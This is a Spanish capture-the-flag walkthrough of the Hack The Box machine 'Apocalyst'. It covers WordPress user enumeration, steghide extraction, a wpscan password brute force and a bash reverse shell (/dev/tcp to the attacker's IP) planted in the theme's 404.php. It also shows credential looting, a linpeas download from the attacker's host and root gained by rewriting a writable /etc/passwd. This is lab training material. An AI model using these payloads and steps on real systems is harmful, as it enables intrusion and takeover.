Entrada

Apocalyst

Apocalyst

Skills

  • Wordpress Exploitation - Theme Editor [RCE]
  • Abusing misconfigured permissions [Privilege Escalation]
  • Wordpress Enumeration
  • Wordpress Bruteforce
  • Image Stego Challenge - Steghide
  • Information Leakage - User Enumeration

Certificaciones

  • eJPT
  • eWPT
  • OSCP (Escalada)

Descripción

Apocalyst es una máquina medium linux, la web es un Wordpress así que obtenemos el usuario debido al nombre del autor de un artículo, nos montamos un diccionario con cewl y fuzzeando rutas con encontramos con una imagen con contenido oculto. El contenido oculto es una lista de palabras, usamos esta lista para bruteforcear el panel de login del Wordpres ganando así acceso, desde el Wordpress ganamos acceso a la máquina víctima modificando el archivo 404.php. Una vez dentro vemos un archivo con la contraseña de un usuario lo que nos permite cambiar de usuario, posteriormente usamos linpeas para analizar el sistema y sobrescribimos el /etc/passwd convirtiéndonos así en usuario root


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
9
# ping 10.129.156.119
PING 10.129.156.119 (10.129.156.119) 56(84) bytes of data.
64 bytes from 10.129.156.119: icmp_seq=1 ttl=63 time=63.5 ms
64 bytes from 10.129.156.119: icmp_seq=2 ttl=63 time=59.1 ms
64 bytes from 10.129.156.119: icmp_seq=3 ttl=63 time=55.5 ms
^C
--- 10.129.156.119 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 55.527/59.388/63.546/3.280 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.156.119 -oG openPorts 
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-03 02:02 CEST
Initiating SYN Stealth Scan at 02:02
Scanning 10.129.156.119 [65535 ports]
Discovered open port 80/tcp on 10.129.156.119
Discovered open port 22/tcp on 10.129.156.119
Completed SYN Stealth Scan at 02:02, 13.63s elapsed (65535 total ports)
Nmap scan report for 10.129.156.119
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.72 seconds
           Raw packets sent: 66855 (2.942MB) | Rcvd: 66858 (2.674MB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# nmap -sCV -p22,80 10.129.156.119 -oN services 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-03 02:03 CEST
Nmap scan report for 10.129.156.119
Host is up (0.072s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fd:ab:0f:c9:22:d5:f4:8f:7a:0a:29:11:b4:04:da:c9 (RSA)
|   256 76:92:39:0a:57:bd:f0:03:26:78:c7:db:1a:66:a5:bc (ECDSA)
|_  256 12:12:cf:f1:7f:be:43:1f:d5:e6:6d:90:84:25:c8:bd (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apocalypse Preparation Blog
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-generator: Wordpress 4.8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.78 seconds

Web Enumeration

En la página web vemos lo siguiente

Al pinchar sobre el enlace nos redirige al dominio apocalyst.htb

Añadimos el dominio al /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       Kali-Linux
10.129.156.119  apocalyst.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Al acceder nuevamente al servicio web vemos esto

Si pinchamos sobre un artículo podemos ver quién es su autor

Este usuario es un usuario válido, lo podemos comprobar en /wp-login.php

Como hay mucho texto en la web vamos a crearnos un diccionario personalizado

1
# cewl http://apocalyst.htb/ > wordlist.txt

Fuzzeamos con wfuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# wfuzz -c -t100 --hc 404 -w wordlist.txt --hh 157 -L http://apocalyst.htb/FUZZ   
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://apocalyst.htb/FUZZ
Total requests: 534

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000000466:   200        14 L     20 W       175 Ch      "Rightiousness"                                                                                                       

Total time: 5.305344
Processed Requests: 534
Filtered Requests: 533
Requests/sec.: 100.6532

Vemos esto al acceder a /Rightiousness, con las demás rutas también veíamos esta imagen, sin embargo, los caracteres son diferentes, lo que significa que hay información oculta

Vemos el contenido oculto de la imagen debido a que no está protegida por ninguna contraseña

1
2
3
# teghide extract -sf image.jpg
Enter passphrase: 
wrote extracted data to "list.txt".

Web Exploitation

Mediante wpscan hacemos bruteforce contra el panel de login del Wordpress

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# wpscan --url http://apocalyst.htb -U falaraki -P list.txt 
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         Wordpress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://apocalyst.htb/ [10.129.156.119]
[+] Started: Sat Aug  3 03:42:12 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://apocalyst.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.Wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/Wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/Wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/Wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/Wordpress_pingback_access/

[+] Wordpress readme found: http://apocalyst.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://apocalyst.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://apocalyst.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-Wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] Wordpress version 4.8 identified (Insecure, released on 2017-06-08).
 | Found By: Rss Generator (Passive Detection)
 |  - http://apocalyst.htb/?feed=rss2, <generator>https://Wordpress.org/?v=4.8</generator>
 |  - http://apocalyst.htb/?feed=comments-rss2, <generator>https://Wordpress.org/?v=4.8</generator>

[+] Wordpress theme in use: twentyseventeen
 | Location: http://apocalyst.htb/wp-content/themes/twentyseventeen/
 | Last Updated: 2024-07-16T00:00:00.000Z
 | Readme: http://apocalyst.htb/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.7
 | Style URL: http://apocalyst.htb/wp-content/themes/twentyseventeen/style.css?ver=4.8
 | Style Name: Twenty Seventeen
 | Style URI: https://Wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the Wordpress team
 | Author URI: https://Wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://apocalyst.htb/wp-content/themes/twentyseventeen/style.css?ver=4.8, Match: 'Version: 1.3'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:05 <========================================================================================================> (137 / 137) 100.00% Time: 00:00:05

[i] No Config Backups Found.

[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - falaraki / Transclisiation                                                                                                                                                 
Trying falaraki / total Time: 00:01:02 <===========================================                                                                 > (335 / 821) 40.80%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: falaraki, Password: Transclisiation

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Aug  3 03:44:08 2024
[+] Requests Done: 508
[+] Cached Requests: 5
[+] Data Sent: 156.176 KB
[+] Data Received: 1.607 MB
[+] Memory used: 258.668 MB
[+] Elapsed time: 00:01:55 

Una vez accedemos al Wordpress con las credenciales falaraki:Transclisiation vemos lo siguiente

Intrusión

A continuación vamos a mandarnos una reverse shell a nuestro equipo, para ello pulsamos en Appearance y luego en Editor

Pulsamos en el template Error 404

Vamos a inyectar este paylod en el código php de la plantilla

1
system("bash -c 'bash -i >& /dev/tcp/10.10.16.35/9993 0>&1'");

Una vez hecho nos pulsamos en Update File en la parte inferior de la web y nos ponemos en escucha mediante netcat por el puerto 9993

1
# nc -nlvp 9993

Debemos provocar un error en la web, para ello podemos acceder a http://apocalyst.htb/?p=0, al no existir ese artículo se produce un error y nos manda la shell

1
2
3
4
5
6
7
8
# nc -nlvp 9993 
listening on [any] 9993 ...
connect to [10.10.16.35] from (UNKNOWN) [10.129.156.119] 35388
bash: cannot set terminal process group (1587): Inappropriate ioctl for device
bash: no job control in this shell
www-data@apocalyst:/var/www/html/apocalyst.htb$ whoami
whoami
www-data

A continuación vamos a realizar un tratamiento a la TTY, para ello obtenemos las dimensiones de nuestra pantalla

1
2
# stty size
45 183

Efectuamos el tratamiento a la TTY

1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]

Ya estamos en una TTY completamente interactiva

1
2
www-data@apocalyst:/var/www/html/apocalyst.htb$ whoami
www-data

Privilege Escalation

Obtenemos las credenciales de la base de datos del wp-config.php, sin embargo, no nos sirve de nada debido a que en la base de datos no hay nada interesante

1
2
3
4
5
6
www-data@apocalyst:/var/www/html/apocalyst.htb$ cat wp-config.php
/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'Th3SoopaD00paPa5S!');

Nos encontramos esto en el directorio de falaraki

1
2
3
4
www-data@apocalyst:/home/falaraki$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache  .nano  .profile  .secret  .sudo_as_admin_successful  .wp-config.php.swp  user.txt
www-data@apocalyst:/home/falaraki$ cat .secret
S2VlcCBmb3JnZXR0aW5nIHBhc3N3b3JkIHNvIHRoaXMgd2lsbCBrZWVwIGl0IHNhZmUhDQpZMHVBSU50RzM3VGlOZ1RIIXNVemVyc1A0c3M=

Como es base64 podemos descifrarlo fácilmente

1
2
3
# echo S2VlcCBmb3JnZXR0aW5nIHBhc3N3b3JkIHNvIHRoaXMgd2lsbCBrZWVwIGl0IHNhZmUhDQpZMHVBSU50RzM3VGlOZ1RIIXNVemVyc1A0c3M= | base64 -d
Keep forgetting password so this will keep it safe!
Y0uAINtG37TiNgTH!sUzersP4ss

Nos convertimos en el usuario falaraki

1
2
3
4
www-data@apocalyst:/home/falaraki$ su falaraki
Password: 
falaraki@apocalyst:~$ whoami
falaraki

Nos descargamos linpeas https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS y nos montamos un servidor http con python en el directorio donde se encuentra linpeas

1
# python -m http.server 80

Nos descargamos linpeas en la máquina víctima

1
2
3
4
5
6
7
8
9
10
falaraki@apocalyst:~$ wget http://10.10.16.35/linpeas.sh
--2024-08-03 19:30:55--  http://10.10.16.35/linpeas.sh
Connecting to 10.10.16.35:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 862777 (843K) [text/x-sh]
Saving to: ‘linpeas.sh.1’

linpeas.sh.1                                  100%[================================================================================================>] 842.56K   650KB/s    in 1.3s    

2024-08-03 19:30:56 (650 KB/s) - ‘linpeas.sh.1’ saved [862777/862777]

Al ejecutar linpeas vemos que tenemos permisos de escritura sobre el /etc/passwd, por lo tanto podemos cambiarle la contraseña a cualquier usuario

1
2
falaraki@apocalyst:~$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1670 Aug  3 19:26 /etc/passwd

Podemos ver el tipo de cifrado que se está empleando en el sistema

1
2
3
4
5
6
7
8
falaraki@apocalyst:~$ su root
Password: 
su: Authentication failure
falaraki@apocalyst:~$ ^C
falaraki@apocalyst:~$ cat /etc/login.defs | grep ENCRYPT_METHOD
# This variable is deprecated. You should use ENCRYPT_METHOD.
ENCRYPT_METHOD SHA512
# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512.

Generamos un contraseña con opensssl

1
2
3
4
5
# openssl passwd -1

Password: 
Verifying - Password: 
$1$3Aq69l2R$roAAiqM88qPJVo9vf62c7/

Si le pasamos el hash creado a hash-identifier vemos que la contraseña es md5, funcionará igualmente debido a que tiene el formato correcto, es decir, es para unix/linux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# hash-identifier
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: $1$uUWdv7ml$cCzYWZkrwbzPRiJT5Kopr1

Possible Hashs:
[+] MD5(Unix)

Nos abrimos el /etc/passwd con nano y cambiamos la x que es donde va la contraseña por la contraseña que hemos creado

1
2
# nano /etc/passwd 
root:$1$3Aq69l2R$roAAiqM88qPJVo9vf62c7/:0:0:root:/root:/bin/bash

Nos convertimos en usuario root

1
2
3
4
falaraki@apocalyst:~$ su root
Password: 
root@apocalyst:/home/falaraki# whoami
root
Esta entrada está licenciada bajo CC BY 4.0 por el autor.